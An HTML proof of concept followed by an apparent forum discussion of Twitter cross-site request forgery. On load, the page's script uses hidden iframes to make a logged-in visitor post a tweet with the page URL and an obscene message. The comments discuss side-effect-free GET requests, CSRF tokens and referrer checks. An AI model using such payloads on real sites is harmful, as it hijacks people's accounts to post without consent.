<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
document.getElementsByTagName("body")[0].appendChild(el1);
document.getElementsByTagName("body")[0].appendChild(el2);
</script>
</body>
</html>I don't think that word means what you think it means.
Not unless you think having sex with goats once is fine but having sex with goats multiple times is bad.
You probably meant "GET requests should be side effect free".
Good point. Was getting terminology mixed up with PUT.
A request that is side effect free is idempotent by definition.
I'm pretty sure the concept's use in mathematics predates that by far.
(notice that tweet posting is actually kind of idempotent in twitter: if you post the same message twice, it will only appear once)
http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
Section 9.1.2
"Methods can also have the property of "idempotence" in that (aside from error or expiration issues) the side-effects of N > 0 identical requests is the same as for a single request."
Alternatively build a form in the iframe and use JS to submit it to Twitter.
Twitter does monitor the referring URL and can automatically block suspicious sites. For some reason pastehtml.com didn't set off any alarm bells.
Being around for a while was part of the problem, they didn't want to break existing sites.
Checking the referrer header is a start. Including the token you mentioned is even better.
Assuming the tokens are strongly tied to a user ID, how do you propose getting yourself a readable copy of this form?
(There are a lot of ways of tying the token to a user ID... associations in a backend database/memcache; token = encrypt(userid, garbage); token = garbage + cryptohash(user_id + server-side-secret + that_same_garbage) ... )
(edit: tweak to 'cryptohash' method.)
Your "if possible" clause makes it seem optional but if you don't include it then your service is vulnerable, period.
Also this status post should be a POST.